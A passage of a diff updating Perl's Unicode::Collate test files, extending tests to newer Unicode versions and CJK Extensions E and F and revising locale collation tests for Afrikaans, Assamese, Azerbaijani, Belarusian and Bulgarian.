@@ -79,8 +87,12 @@ for my $v (@Versions) {
ok($coll->cmp("\x{9FC3}", "\x{9FC4}") == -1); # new < new
ok($coll->cmp("\x{9FC4}", "\x{9FCB}") == -1); # new < new
ok($coll->cmp("\x{9FCB}", "\x{9FCC}") == -1); # new < new
- ok($coll->cmp("\x{9FCC}", "\x{9FCD}") == -1); # new < na
- ok($coll->cmp("\x{9FCD}", "\x{9FFF}") == -1); # na < na
+ ok($coll->cmp("\x{9FCC}", "\x{9FCD}") == -1); # new < new
+ ok($coll->cmp("\x{9FCD}", "\x{9FD5}") == -1); # new < new
+ ok($coll->cmp("\x{9FD5}", "\x{9FD6}") == -1); # new < new
+ ok($coll->cmp("\x{9FD6}", "\x{9FEA}") == -1); # new < new
+ ok($coll->cmp("\x{9FEA}", "\x{9FEB}") == -1); # new < na
+ ok($coll->cmp("\x{9FEB}", "\x{9FFF}") == -1); # na < na
# Ext.A < Ext.B
ok($coll->cmp("\x{3400}", "\x{20000}") == -1);
@@ -112,5 +124,19 @@ for my $v (@Versions) {
ok($coll->cmp("\x{2FFF}", "\x{2B81D}") == ($v >= 22 ? 1 : -1)); # na > D
ok($coll->cmp("\x{2FFF}", "\x{2B81E}") == -1); # na < na
ok($coll->cmp("\x{2FFF}", "\x{2B81F}") == -1); # na < na
+
+ # Ext.E
+ ok($coll->cmp("\x{2B820}","\x{2CEA1}") == -1); # E < E
+ ok($coll->cmp("\x{2FFF}", "\x{2B820}") == ($v >= 32 ? 1 : -1)); # na > E
+ ok($coll->cmp("\x{2FFF}", "\x{2CEA1}") == ($v >= 32 ? 1 : -1)); # na > E
+ ok($coll->cmp("\x{2FFF}", "\x{2CEA2}") == -1); # na < na
+ ok($coll->cmp("\x{2FFF}", "\x{2CEAF}") == -1); # na < na
+
+ # Ext.F
+ ok($coll->cmp("\x{2CEB0}","\x{2EBE0}") == -1); # F < F
+ ok($coll->cmp("\x{2FFF}", "\x{2CEB0}") == ($v >= 36 ? 1 : -1)); # na > F
+ ok($coll->cmp("\x{2FFF}", "\x{2EBE0}") == ($v >= 36 ? 1 : -1)); # na > F
+ ok($coll->cmp("\x{2FFF}", "\x{2EBE1}") == -1); # na < na
+ ok($coll->cmp("\x{2FFF}", "\x{2EBEF}") == -1); # na < na
}
diff --git a/gnu/usr.bin/perl/cpan/Unicode-Collate/t/compatui.t b/gnu/usr.bin/perl/cpan/Unicode-Collate/t/compatui.t
index 8d1e85d30ba..96dffd4091e 100644
--- a/gnu/usr.bin/perl/cpan/Unicode-Collate/t/compatui.t
+++ b/gnu/usr.bin/perl/cpan/Unicode-Collate/t/compatui.t
@@ -16,7 +16,7 @@ BEGIN {
use strict;
use warnings;
-BEGIN { $| = 1; print "1..771\n"; } # 1 + 70 x @Versions
+BEGIN { $| = 1; print "1..1051\n"; } # 1 + 70 x @Versions
my $count = 0;
sub ok ($;$) {
my $p = my $r = shift;
@@ -33,7 +33,7 @@ ok(1);
#########################
-my @Versions = (8, 9, 11, 14, 16, 18, 20, 22, 24, 26, 28);
+my @Versions = (8, 9, 11, 14, 16, 18, 20, 22, 24, 26, 28, 30, 32, 34, 36);
# 12 compatibility ideographs are treated as unified ideographs:
# FA0E, FA0F, FA11, FA13, FA14, FA1F, FA21, FA23, FA24, FA27, FA28, FA29.
diff --git a/gnu/usr.bin/perl/cpan/Unicode-Collate/t/default.t b/gnu/usr.bin/perl/cpan/Unicode-Collate/t/default.t
index bdc46dbcb53..85d604f3a76 100644
--- a/gnu/usr.bin/perl/cpan/Unicode-Collate/t/default.t
+++ b/gnu/usr.bin/perl/cpan/Unicode-Collate/t/default.t
@@ -165,10 +165,10 @@ my $Tailored = Unicode::Collate->new(
);
# Ka vs Kje
-ok($Collator->gt("\x{45C}", "\x{43A}"));
-ok($Collator->gt("\x{40C}", "\x{41A}"));
-ok($Tailored->gt("\x{45C}", "\x{43A}"));
-ok($Tailored->gt("\x{40C}", "\x{41A}"));
+ok($Collator->eq("\x{45C}", "\x{43A}"));
+ok($Collator->eq("\x{40C}", "\x{41A}"));
+ok($Tailored->eq("\x{45C}", "\x{43A}"));
+ok($Tailored->eq("\x{40C}", "\x{41A}"));
# 60
diff --git a/gnu/usr.bin/perl/cpan/Unicode-Collate/t/hangtype.t b/gnu/usr.bin/perl/cpan/Unicode-Collate/t/hangtype.t
index ea9f4936f9e..42d0c61a500 100755
--- a/gnu/usr.bin/perl/cpan/Unicode-Collate/t/hangtype.t
+++ b/gnu/usr.bin/perl/cpan/Unicode-Collate/t/hangtype.t
@@ -16,7 +16,7 @@ BEGIN {
use strict;
use warnings;
-BEGIN { $| = 1; print "1..551\n"; } # 1 + 50 x @Versions
+BEGIN { $| = 1; print "1..751\n"; } # 1 + 50 x @Versions
my $count = 0;
sub ok ($;$) {
my $p = my $r = shift;
@@ -33,7 +33,7 @@ ok(1);
#########################
-my @Versions = (8, 9, 11, 14, 16, 18, 20, 22, 24, 26, 28);
+my @Versions = (8, 9, 11, 14, 16, 18, 20, 22, 24, 26, 28, 30, 32, 34, 36);
for my $v (@Versions) {
ok(Unicode::Collate::getHST(0x0000, $v), '');
diff --git a/gnu/usr.bin/perl/cpan/Unicode-Collate/t/loc_af.t b/gnu/usr.bin/perl/cpan/Unicode-Collate/t/loc_af.t
index 51176c90e41..76d13c83f89 100644
--- a/gnu/usr.bin/perl/cpan/Unicode-Collate/t/loc_af.t
+++ b/gnu/usr.bin/perl/cpan/Unicode-Collate/t/loc_af.t
@@ -43,12 +43,18 @@ $objAf->change(level => 1);
ok($objAf->eq("n", "N"));
ok($objAf->eq("N", "\x{149}"));
+# 4
+
$objAf->change(level => 2);
ok($objAf->eq("n", "N"));
ok($objAf->eq("N", "\x{149}"));
+# 6
+
$objAf->change(level => 3);
ok($objAf->lt("n", "N"));
ok($objAf->lt("N", "\x{149}"));
+
+# 8
diff --git a/gnu/usr.bin/perl/cpan/Unicode-Collate/t/loc_as.t b/gnu/usr.bin/perl/cpan/Unicode-Collate/t/loc_as.t
index 2d28f90f86d..cbc87e471fb 100644
--- a/gnu/usr.bin/perl/cpan/Unicode-Collate/t/loc_as.t
+++ b/gnu/usr.bin/perl/cpan/Unicode-Collate/t/loc_as.t
@@ -16,7 +16,7 @@ BEGIN {
use strict;
use warnings;
-BEGIN { $| = 1; print "1..24\n"; }
+BEGIN { $| = 1; print "1..29\n"; }
my $count = 0;
sub ok ($;$) {
my $p = my $r = shift;
@@ -42,8 +42,7 @@ $objAs->change(level => 1);
for my $h (0, 1) {
no warnings 'utf8';
- my $t = $h ? pack('U', 0xFFFF) : "";
- $objAs->change(highestFFFF => 1) if $h;
+ my $t = $h ? pack('U', 0xFFFF) : 'z';
ok($objAs->lt("\x{993}$t", "\x{994}"));
ok($objAs->lt("\x{994}$t", "\x{982}"));
@@ -55,7 +54,18 @@ for my $h (0, 1) {
ok($objAs->lt("\x{9A3}$t", "\x{9A4}\x{9CD}\x{200D}"));
ok($objAs->lt("\x{9A4}\x{9CD}\x{200D}$t", "\x{9A4}"));
+ ok($objAs->lt("\x{9A3}$t", "\x{9CE}"));
+ ok($objAs->lt("\x{9CE}$t", "\x{9A4}"));
+
ok($objAs->lt("\x{9B8}$t", "\x{9B9}"));
ok($objAs->lt("\x{9B9}$t", "\x{995}\x{9CD}\x{9B7}"));
ok($objAs->lt("\x{995}\x{9CD}\x{9B7}$t", "\x{9BD}"));
}
+
+# 28
+
+$objAs->change(level => 3);
+
+ok($objAs->eq("\x{9A4}\x{9CD}\x{200D}", "\x{9CE}"));
+
+# 29
diff --git a/gnu/usr.bin/perl/cpan/Unicode-Collate/t/loc_az.t b/gnu/usr.bin/perl/cpan/Unicode-Collate/t/loc_az.t
index 855e6bc084b..97ecf92cd21 100644
--- a/gnu/usr.bin/perl/cpan/Unicode-Collate/t/loc_az.t
+++ b/gnu/usr.bin/perl/cpan/Unicode-Collate/t/loc_az.t
@@ -16,7 +16,7 @@ BEGIN {
use strict;
use warnings;
-BEGIN { $| = 1; print "1..72\n"; }
+BEGIN { $| = 1; print "1..86\n"; }
my $count = 0;
sub ok ($;$) {
my $p = my $r = shift;
@@ -41,32 +41,44 @@ ok($objAz->getlocale, 'az');
$objAz->change(level => 1);
ok($objAz->lt("c", "c\x{327}"));
+ok($objAz->lt("cz","c\x{327}"));
ok($objAz->gt("d", "c\x{327}"));
ok($objAz->lt("g", "g\x{306}"));
+ok($objAz->lt("gz","g\x{306}"));
ok($objAz->gt("h", "g\x{306}"));
ok($objAz->lt("h", "I"));
+ok($objAz->lt("hz","I"));
ok($objAz->lt("I", "i"));
+ok($objAz->lt("Iz","i"));
ok($objAz->gt("j", "i"));
ok($objAz->lt("o", "o\x{308}"));
+ok($objAz->lt("oz","o\x{308}"));
ok($objAz->gt("p", "o\x{308}"));
ok($objAz->lt("s", "s\x{327}"));
+ok($objAz->lt("sz","s\x{327}"));
ok($objAz->gt("t", "s\x{327}"));
ok($objAz->lt("u", "u\x{308}"));
+ok($objAz->lt("uz","u\x{308}"));
ok($objAz->gt("v", "u\x{308}"));
-# 15
+# 22
ok($objAz->lt("k", "q"));
ok($objAz->lt("kz","q"));
ok($objAz->gt("l", "q"));
ok($objAz->lt("e", "\x{259}"));
+ok($objAz->lt("ez","\x{259}"));
ok($objAz->gt("f", "\x{259}"));
ok($objAz->lt("h", "x"));
ok($objAz->lt("hz","x"));
-ok($objAz->gt("I","x"));
-ok($objAz->gt("i","x"));
+ok($objAz->lt("x", "I"));
+ok($objAz->lt("xz","I"));
+ok($objAz->lt("x", "i"));
+ok($objAz->lt("xz","i"));
+ok($objAz->lt("z", "w"));
+ok($objAz->lt("zz","w"));
-# 24
+# 36
$objAz->change(level => 2);
@@ -80,8 +92,9 @@ ok($objAz->eq("u\x{308}", "U\x{308}"));
ok($objAz->eq("q", "Q"));
ok($objAz->eq("\x{259}", "\x{18F}"));
ok($objAz->eq("x", "X"));
+ok($objAz->eq("z", "Z"));
-# 34
+# 47
$objAz->change(level => 3);
@@ -92,11 +105,12 @@ ok($objAz->gt("\x{130}", "i"));
ok($objAz->lt("o\x{308}", "O\x{308}"));
ok($objAz->lt("s\x{327}", "S\x{327}"));
ok($objAz->lt("u\x{308}", "U\x{308}"));
-ok($objAz->lt("k", "K"));
+ok($objAz->lt("q", "Q"));
ok($objAz->lt("\x{259}", "\x{18F}"));
ok($objAz->lt("x", "X"));
+ok($objAz->lt("z", "Z"));
-# 44
+# 58
ok($objAz->eq("c\x{327}", pack('U', 0xE7)));
ok($objAz->eq("C\x{327}", pack('U', 0xC7)));
@@ -111,7 +125,7 @@ ok($objAz->eq("I\x{306}", "\x{12C}"));
ok($objAz->eq("I\x{328}", "\x{12E}"));
ok($objAz->eq("I\x{307}", "\x{130}"));
-# 56
+# 70
ok($objAz->eq("o\x{308}", pack('U', 0xF6)));
ok($objAz->eq("O\x{308}", pack('U', 0xD6)));
@@ -130,4 +144,4 @@ ok($objAz->eq("U\x{308}\x{304}", "\x{1D5}"));
ok($objAz->eq("u\x{308}\x{30C}", "\x{1DA}"));
ok($objAz->eq("U\x{308}\x{30C}", "\x{1D9}"));
-# 72
+# 86
diff --git a/gnu/usr.bin/perl/cpan/Unicode-Collate/t/loc_be.t b/gnu/usr.bin/perl/cpan/Unicode-Collate/t/loc_be.t
index 5d1dfeeb29c..26ca455b478 100644
--- a/gnu/usr.bin/perl/cpan/Unicode-Collate/t/loc_be.t
+++ b/gnu/usr.bin/perl/cpan/Unicode-Collate/t/loc_be.t
@@ -16,7 +16,7 @@ BEGIN {
use strict;
use warnings;
-BEGIN { $| = 1; print "1..189\n"; }
+BEGIN { $| = 1; print "1..138\n"; }
my $count = 0;
sub ok ($;$) {
my $p = my $r = shift;
@@ -40,184 +40,155 @@ ok($objBe->getlocale, 'be');
$objBe->change(level => 1);
-ok($objBe->gt("\x{451}", "\x{435}"));
-ok($objBe->lt("\x{451}", "\x{454}"));
-
-# 4
-
-ok($objBe->gt("\x{4E5}", "\x{438}")); # not suppressed
-ok($objBe->gt("\x{4E4}", "\x{418}")); # not suppressed
-ok($objBe->gt("\x{439}", "\x{438}")); # not suppressed
-ok($objBe->gt("\x{419}", "\x{418}")); # not suppressed
-ok($objBe->gt("\x{45E}", "\x{443}")); # not suppressed
-ok($objBe->gt("\x{40E}", "\x{423}")); # not suppressed
-ok($objBe->gt("\x{4F1}", "\x{443}")); # not suppressed
-ok($objBe->gt("\x{4F0}", "\x{423}")); # not suppressed
-ok($objBe->gt("\x{4F3}", "\x{443}")); # not suppressed
-ok($objBe->gt("\x{4F2}", "\x{423}")); # not suppressed
-
-# 14
-
-ok($objBe->eq("\x{4D1}", "\x{430}"));
-ok($objBe->eq("\x{4D0}", "\x{410}"));
-ok($objBe->eq("\x{4D3}", "\x{430}"));
-ok($objBe->eq("\x{4D2}", "\x{410}"));
-ok($objBe->eq("\x{4DB}", "\x{4D9}"));
-ok($objBe->eq("\x{4DA}", "\x{4D8}"));
-ok($objBe->eq("\x{453}", "\x{433}"));
-ok($objBe->eq("\x{403}", "\x{413}"));
-ok($objBe->eq("\x{450}", "\x{435}")); # not contraction
-ok($objBe->eq("\x{400}", "\x{415}")); # not contraction
-ok($objBe->eq("\x{4D7}", "\x{435}"));
-ok($objBe->eq("\x{4D6}", "\x{415}"));
-ok($objBe->eq("\x{4C2}", "\x{436}")); # not contraction
-ok($objBe->eq("\x{4C1}", "\x{416}")); # not contraction
-ok($objBe->eq("\x{4DD}", "\x{436}"));
-ok($objBe->eq("\x{4DC}", "\x{416}"));
-ok($objBe->eq("\x{4DF}", "\x{437}"));
-ok($objBe->eq("\x{4DE}", "\x{417}"));
-ok($objBe->eq("\x{45D}", "\x{438}")); # not contraction
-ok($objBe->eq("\x{40D}", "\x{418}")); # not contraction
-ok($objBe->eq("\x{4E3}", "\x{438}")); # not contraction
-ok($objBe->eq("\x{4E2}", "\x{418}")); # not contraction
-ok($objBe->eq("\x{457}", "\x{456}"));
-ok($objBe->eq("\x{407}", "\x{406}"));
-ok($objBe->eq("\x{4E7}", "\x{43E}"));
-ok($objBe->eq("\x{4E6}", "\x{41E}"));
-ok($objBe->eq("\x{4EB}", "\x{4E9}"));
-ok($objBe->eq("\x{4EA}", "\x{4E8}"));
-ok($objBe->eq("\x{45C}", "\x{43A}"));
-ok($objBe->eq("\x{40C}", "\x{41A}"));
-ok($objBe->eq("\x{4EF}", "\x{443}")); # not contraction
-ok($objBe->eq("\x{4EE}", "\x{423}")); # not contraction
-ok($objBe->eq("\x{4F5}", "\x{447}"));
-ok($objBe->eq("\x{4F4}", "\x{427}"));
-ok($objBe->eq("\x{4F9}", "\x{44B}"));
-ok($objBe->eq("\x{4F8}", "\x{42B}"));
-ok($objBe->eq("\x{4ED}", "\x{44D}"));
-ok($objBe->eq("\x{4EC}", "\x{42D}"));
-ok($objBe->eq("\x{477}", "\x{475}"));
-ok($objBe->eq("\x{476}", "\x{474}"));
-
-# 54
+ok($objBe->lt("\x{430}z", "\x{431}"));
+ok($objBe->lt("\x{431}z", "\x{432}"));
+ok($objBe->lt("\x{432}z", "\x{433}"));
+ok($objBe->lt("\x{433}z", "\x{434}"));
+ok($objBe->lt("\x{434}z", "\x{435}"));
+ok($objBe->lt("\x{435}z", "\x{451}"));
+ok($objBe->lt("\x{451}z", "\x{436}"));
+ok($objBe->lt("\x{436}z", "\x{437}"));
+ok($objBe->lt("\x{437}z", "\x{438}"));
+ok($objBe->lt("\x{438}z", "\x{456}"));
+ok($objBe->lt("\x{456}z", "\x{439}"));
+ok($objBe->lt("\x{439}z", "\x{43a}"));
+ok($objBe->lt("\x{43a}z", "\x{43b}"));
+ok($objBe->lt("\x{43b}z", "\x{43c}"));
+ok($objBe->lt("\x{43c}z", "\x{43d}"));
+ok($objBe->lt("\x{43d}z", "\x{43e}"));
+ok($objBe->lt("\x{43e}z", "\x{43f}"));
+ok($objBe->lt("\x{43f}z", "\x{440}"));
+ok($objBe->lt("\x{440}z", "\x{441}"));
+ok($objBe->lt("\x{441}z", "\x{442}"));
+ok($objBe->lt("\x{442}z", "\x{443}"));
+ok($objBe->lt("\x{443}z", "\x{45e}"));
+ok($objBe->lt("\x{45e}z", "\x{444}"));
+ok($objBe->lt("\x{444}z", "\x{445}"));
+ok($objBe->lt("\x{445}z", "\x{446}"));
+ok($objBe->lt("\x{446}z", "\x{447}"));
+ok($objBe->lt("\x{447}z", "\x{448}"));
+ok($objBe->lt("\x{448}z", "\x{44b}"));
+ok($objBe->lt("\x{44b}z", "\x{44c}"));
+ok($objBe->lt("\x{44c}z", "\x{44d}"));
+ok($objBe->lt("\x{44d}z", "\x{44e}"));
+ok($objBe->lt("\x{44e}z", "\x{44f}"));
+
+ok($objBe->lt("\x{410}z", "\x{411}"));
+ok($objBe->lt("\x{411}z", "\x{412}"));
+ok($objBe->lt("\x{412}z", "\x{413}"));
+ok($objBe->lt("\x{413}z", "\x{414}"));
+ok($objBe->lt("\x{414}z", "\x{415}"));
+ok($objBe->lt("\x{415}z", "\x{401}"));
+ok($objBe->lt("\x{401}z", "\x{416}"));
+ok($objBe->lt("\x{416}z", "\x{417}"));
+ok($objBe->lt("\x{417}z", "\x{418}"));
+ok($objBe->lt("\x{418}z", "\x{406}"));
+ok($objBe->lt("\x{406}z", "\x{419}"));
+ok($objBe->lt("\x{419}z", "\x{41a}"));
+ok($objBe->lt("\x{41a}z", "\x{41b}"));
+ok($objBe->lt("\x{41b}z", "\x{41c}"));
+ok($objBe->lt("\x{41c}z", "\x{41d}"));
+ok($objBe->lt("\x{41d}z", "\x{41e}"));
+ok($objBe->lt("\x{41e}z", "\x{41f}"));
+ok($objBe->lt("\x{41f}z", "\x{420}"));
+ok($objBe->lt("\x{420}z", "\x{421}"));
+ok($objBe->lt("\x{421}z", "\x{422}"));
+ok($objBe->lt("\x{422}z", "\x{423}"));
+ok($objBe->lt("\x{423}z", "\x{40e}"));
+ok($objBe->lt("\x{40e}z", "\x{424}"));
+ok($objBe->lt("\x{424}z", "\x{425}"));
+ok($objBe->lt("\x{425}z", "\x{426}"));
+ok($objBe->lt("\x{426}z", "\x{427}"));
+ok($objBe->lt("\x{427}z", "\x{428}"));
+ok($objBe->lt("\x{428}z", "\x{42b}"));
+ok($objBe->lt("\x{42b}z", "\x{42c}"));
+ok($objBe->lt("\x{42c}z", "\x{42d}"));
+ok($objBe->lt("\x{42d}z", "\x{42e}"));
+ok($objBe->lt("\x{42e}z", "\x{42f}"));
+
+# 66
$objBe->change(level => 2);
+ok($objBe->eq("\x{430}", "\x{410}"));
+ok($objBe->eq("\x{431}", "\x{411}"));
+ok($objBe->eq("\x{432}", "\x{412}"));
+ok($objBe->eq("\x{433}", "\x{413}"));
+ok($objBe->eq("\x{434}", "\x{414}"));
+ok($objBe->eq("\x{435}", "\x{415}"));
ok($objBe->eq("\x{451}", "\x{401}"));
-
-# 55
-
-ok($objBe->gt("\x{4D1}", "\x{430}"));
-ok($objBe->gt("\x{4D0}", "\x{410}"));
-ok($objBe->gt("\x{4D3}", "\x{430}"));
-ok($objBe->gt("\x{4D2}", "\x{410}"));
-ok($objBe->gt("\x{4DB}", "\x{4D9}"));
-ok($objBe->gt("\x{4DA}", "\x{4D8}"));
-ok($objBe->gt("\x{453}", "\x{433}"));
-ok($objBe->gt("\x{403}", "\x{413}"));
-ok($objBe->gt("\x{450}", "\x{435}")); # not contraction
-ok($objBe->gt("\x{400}", "\x{415}")); # not contraction
-ok($objBe->gt("\x{4D7}", "\x{435}"));
-ok($objBe->gt("\x{4D6}", "\x{415}"));
-ok($objBe->gt("\x{4C2}", "\x{436}")); # not contraction
-ok($objBe->gt("\x{4C1}", "\x{416}")); # not contraction
-ok($objBe->gt("\x{4DD}", "\x{436}"));
-ok($objBe->gt("\x{4DC}", "\x{416}"));
-ok($objBe->gt("\x{4DF}", "\x{437}"));
-ok($objBe->gt("\x{4DE}", "\x{417}"));
-ok($objBe->gt("\x{45D}", "\x{438}")); # not contraction
-ok($objBe->gt("\x{40D}", "\x{418}")); # not contraction
-ok($objBe->gt("\x{4E3}", "\x{438}")); # not contraction
-ok($objBe->gt("\x{4E2}", "\x{418}")); # not contraction
-ok($objBe->gt("\x{457}", "\x{456}"));
-ok($objBe->gt("\x{407}", "\x{406}"));
-ok($objBe->gt("\x{4E7}", "\x{43E}"));
-ok($objBe->gt("\x{4E6}", "\x{41E}"));
-ok($objBe->gt("\x{4EB}", "\x{4E9}"));
-ok($objBe->gt("\x{4EA}", "\x{4E8}"));
-ok($objBe->gt("\x{45C}", "\x{43A}"));
-ok($objBe->gt("\x{40C}", "\x{41A}"));
-ok($objBe->gt("\x{4EF}", "\x{443}")); # not contraction
-ok($objBe->gt("\x{4EE}", "\x{423}")); # not contraction
-ok($objBe->gt("\x{4F5}", "\x{447}"));
-ok($objBe->gt("\x{4F4}", "\x{427}"));
-ok($objBe->gt("\x{4F9}", "\x{44B}"));
-ok($objBe->gt("\x{4F8}", "\x{42B}"));
-ok($objBe->gt("\x{4ED}", "\x{44D}"));
-ok($objBe->gt("\x{4EC}", "\x{42D}"));
-ok($objBe->gt("\x{477}", "\x{475}"));
-ok($objBe->gt("\x{476}", "\x{474}"));
-
-# 95
+ok($objBe->eq("\x{436}", "\x{416}"));
+ok($objBe->eq("\x{437}", "\x{417}"));
+ok($objBe->eq("\x{438}", "\x{418}"));
+ok($objBe->eq("\x{456}", "\x{406}"));
+ok($objBe->eq("\x{439}", "\x{419}"));
+ok($objBe->eq("\x{43a}", "\x{41a}"));
+ok($objBe->eq("\x{43b}", "\x{41b}"));
+ok($objBe->eq("\x{43c}", "\x{41c}"));
+ok($objBe->eq("\x{43d}", "\x{41d}"));
+ok($objBe->eq("\x{43e}", "\x{41e}"));
+ok($objBe->eq("\x{43f}", "\x{41f}"));
+ok($objBe->eq("\x{440}", "\x{420}"));
+ok($objBe->eq("\x{441}", "\x{421}"));
+ok($objBe->eq("\x{442}", "\x{422}"));
+ok($objBe->eq("\x{443}", "\x{423}"));
+ok($objBe->eq("\x{45e}", "\x{40e}"));
+ok($objBe->eq("\x{444}", "\x{424}"));
+ok($objBe->eq("\x{445}", "\x{425}"));
+ok($objBe->eq("\x{446}", "\x{426}"));
+ok($objBe->eq("\x{447}", "\x{427}"));
+ok($objBe->eq("\x{448}", "\x{428}"));
+ok($objBe->eq("\x{44b}", "\x{42b}"));
+ok($objBe->eq("\x{44c}", "\x{42c}"));
+ok($objBe->eq("\x{44d}", "\x{42d}"));
+ok($objBe->eq("\x{44e}", "\x{42e}"));
+ok($objBe->eq("\x{44f}", "\x{42f}"));
+
+# 99
$objBe->change(level => 3);
+ok($objBe->lt("\x{430}", "\x{410}"));
+ok($objBe->lt("\x{431}", "\x{411}"));
+ok($objBe->lt("\x{432}", "\x{412}"));
+ok($objBe->lt("\x{433}", "\x{413}"));
+ok($objBe->lt("\x{434}", "\x{414}"));
+ok($objBe->lt("\x{435}", "\x{415}"));
ok($objBe->lt("\x{451}", "\x{401}"));
-
-# 96
+ok($objBe->lt("\x{436}", "\x{416}"));
+ok($objBe->lt("\x{437}", "\x{417}"));
+ok($objBe->lt("\x{438}", "\x{418}"));
+ok($objBe->lt("\x{456}", "\x{406}"));
+ok($objBe->lt("\x{439}", "\x{419}"));
+ok($objBe->lt("\x{43a}", "\x{41a}"));
+ok($objBe->lt("\x{43b}", "\x{41b}"));
+ok($objBe->lt("\x{43c}", "\x{41c}"));
+ok($objBe->lt("\x{43d}", "\x{41d}"));
+ok($objBe->lt("\x{43e}", "\x{41e}"));
+ok($objBe->lt("\x{43f}", "\x{41f}"));
+ok($objBe->lt("\x{440}", "\x{420}"));
+ok($objBe->lt("\x{441}", "\x{421}"));
+ok($objBe->lt("\x{442}", "\x{422}"));
+ok($objBe->lt("\x{443}", "\x{423}"));
+ok($objBe->lt("\x{45e}", "\x{40e}"));
+ok($objBe->lt("\x{444}", "\x{424}"));
+ok($objBe->lt("\x{445}", "\x{425}"));
+ok($objBe->lt("\x{446}", "\x{426}"));
+ok($objBe->lt("\x{447}", "\x{427}"));
+ok($objBe->lt("\x{448}", "\x{428}"));
+ok($objBe->lt("\x{44b}", "\x{42b}"));
+ok($objBe->lt("\x{44c}", "\x{42c}"));
+ok($objBe->lt("\x{44d}", "\x{42d}"));
+ok($objBe->lt("\x{44e}", "\x{42e}"));
+ok($objBe->lt("\x{44f}", "\x{42f}"));
+
+# 132
ok($objBe->eq("\x{451}", "\x{435}\x{308}"));
ok($objBe->eq("\x{401}", "\x{415}\x{308}"));
-ok($objBe->eq("\x{4E5}", "\x{438}\x{308}")); # not suppressed
-ok($objBe->eq("\x{4E4}", "\x{418}\x{308}")); # not suppressed
-ok($objBe->eq("\x{439}", "\x{438}\x{306}")); # not suppressed
-ok($objBe->eq("\x{419}", "\x{418}\x{306}")); # not suppressed
-ok($objBe->eq("\x{45E}", "\x{443}\x{306}")); # not suppressed
-ok($objBe->eq("\x{40E}", "\x{423}\x{306}")); # not suppressed
-ok($objBe->eq("\x{4F1}", "\x{443}\x{308}")); # not suppressed
-ok($objBe->eq("\x{4F0}", "\x{423}\x{308}")); # not suppressed
-ok($objBe->eq("\x{4F3}", "\x{443}\x{30B}")); # not suppressed
-ok($objBe->eq("\x{4F2}", "\x{423}\x{30B}")); # not suppressed
-
-# 108
-
-for my $i ("", "\0") {
- ok($objBe->eq("\x{4D1}", "\x{430}$i\x{306}"));
- ok($objBe->eq("\x{4D0}", "\x{410}$i\x{306}"));
- ok($objBe->eq("\x{4D3}", "\x{430}$i\x{308}"));
- ok($objBe->eq("\x{4D2}", "\x{410}$i\x{308}"));
- ok($objBe->eq("\x{4DB}", "\x{4D9}$i\x{308}"));
- ok($objBe->eq("\x{4DA}", "\x{4D8}$i\x{308}"));
- ok($objBe->eq("\x{453}", "\x{433}$i\x{301}"));
- ok($objBe->eq("\x{403}", "\x{413}$i\x{301}"));
- ok($objBe->eq("\x{450}", "\x{435}$i\x{300}")); # not contraction
- ok($objBe->eq("\x{400}", "\x{415}$i\x{300}")); # not contraction
- ok($objBe->eq("\x{4D7}", "\x{435}$i\x{306}"));
- ok($objBe->eq("\x{4D6}", "\x{415}$i\x{306}"));
- ok($objBe->eq("\x{4C2}", "\x{436}$i\x{306}")); # not contraction
- ok($objBe->eq("\x{4C1}", "\x{416}$i\x{306}")); # not contraction
- ok($objBe->eq("\x{4DD}", "\x{436}$i\x{308}"));
- ok($objBe->eq("\x{4DC}", "\x{416}$i\x{308}"));
- ok($objBe->eq("\x{4DF}", "\x{437}$i\x{308}"));
- ok($objBe->eq("\x{4DE}", "\x{417}$i\x{308}"));
- ok($objBe->eq("\x{45D}", "\x{438}$i\x{300}")); # not contraction
- ok($objBe->eq("\x{40D}", "\x{418}$i\x{300}")); # not contraction
- ok($objBe->eq("\x{4E3}", "\x{438}$i\x{304}")); # not contraction
- ok($objBe->eq("\x{4E2}", "\x{418}$i\x{304}")); # not contraction
- ok($objBe->eq("\x{457}", "\x{456}$i\x{308}"));
- ok($objBe->eq("\x{407}", "\x{406}$i\x{308}"));
- ok($objBe->eq("\x{4E7}", "\x{43E}$i\x{308}"));
- ok($objBe->eq("\x{4E6}", "\x{41E}$i\x{308}"));
- ok($objBe->eq("\x{4EB}", "\x{4E9}$i\x{308}"));
- ok($objBe->eq("\x{4EA}", "\x{4E8}$i\x{308}"));
- ok($objBe->eq("\x{45C}", "\x{43A}$i\x{301}"));
- ok($objBe->eq("\x{40C}", "\x{41A}$i\x{301}"));
- ok($objBe->eq("\x{4EF}", "\x{443}$i\x{304}")); # not contraction
- ok($objBe->eq("\x{4EE}", "\x{423}$i\x{304}")); # not contraction
- ok($objBe->eq("\x{4F5}", "\x{447}$i\x{308}"));
- ok($objBe->eq("\x{4F4}", "\x{427}$i\x{308}"));
- ok($objBe->eq("\x{4F9}", "\x{44B}$i\x{308}"));
- ok($objBe->eq("\x{4F8}", "\x{42B}$i\x{308}"));
- ok($objBe->eq("\x{4ED}", "\x{44D}$i\x{308}"));
- ok($objBe->eq("\x{4EC}", "\x{42D}$i\x{308}"));
- ok($objBe->eq("\x{477}", "\x{475}$i\x{30F}"));
- ok($objBe->eq("\x{476}", "\x{474}$i\x{30F}"));
-}
-
-# 188
-
-$objBe->change(upper_before_lower => 1);
-
-ok($objBe->gt("\x{451}", "\x{401}"));
+ok($objBe->eq("\x{439}", "\x{438}\x{306}"));
+ok($objBe->eq("\x{419}", "\x{418}\x{306}"));
+ok($objBe->eq("\x{45e}", "\x{443}\x{306}"));
+ok($objBe->eq("\x{40e}", "\x{423}\x{306}"));
-# 189
+# 138
diff --git a/gnu/usr.bin/perl/cpan/Unicode-Collate/t/loc_bg.t b/gnu/usr.bin/perl/cpan/Unicode-Collate/t/loc_bg.t
index 792b4b10fbb..15ecff7a1a3 100644
--- a/gnu/usr.bin/perl/cpan/Unicode-Collate/t/loc_bg.t
+++ b/gnu/usr.bin/perl/cpan/Unicode-Collate/t/loc_bg.t
@@ -16,7 +16,7 @@ BEGIN {
use strict;
use warnings;
-BEGIN { $| = 1; print "1..202\n"; }
+BEGIN { $| = 1; print "1..122\n"; }
my $count = 0;
sub ok ($;$) {
my $p = my $r = shift;
@@ -36,179 +36,143 @@ ok(1);
my $objBg = Unicode::Collate::Locale->
new(locale => 'BG', normalization => undef);
-ok($objBg->getlocale, 'bg');
+ok($objBg->getlocale, 'default'); # no tailoring since 1.17
$objBg->change(level => 1);
-ok($objBg->gt("\x{4E5}", "\x{438}")); # not suppressed
-ok($objBg->gt("\x{4E4}", "\x{418}")); # not suppressed
-ok($objBg->gt("\x{439}", "\x{438}")); # not suppressed
-ok($objBg->gt("\x{419}", "\x{418}")); # not suppressed
-
-# 6
-
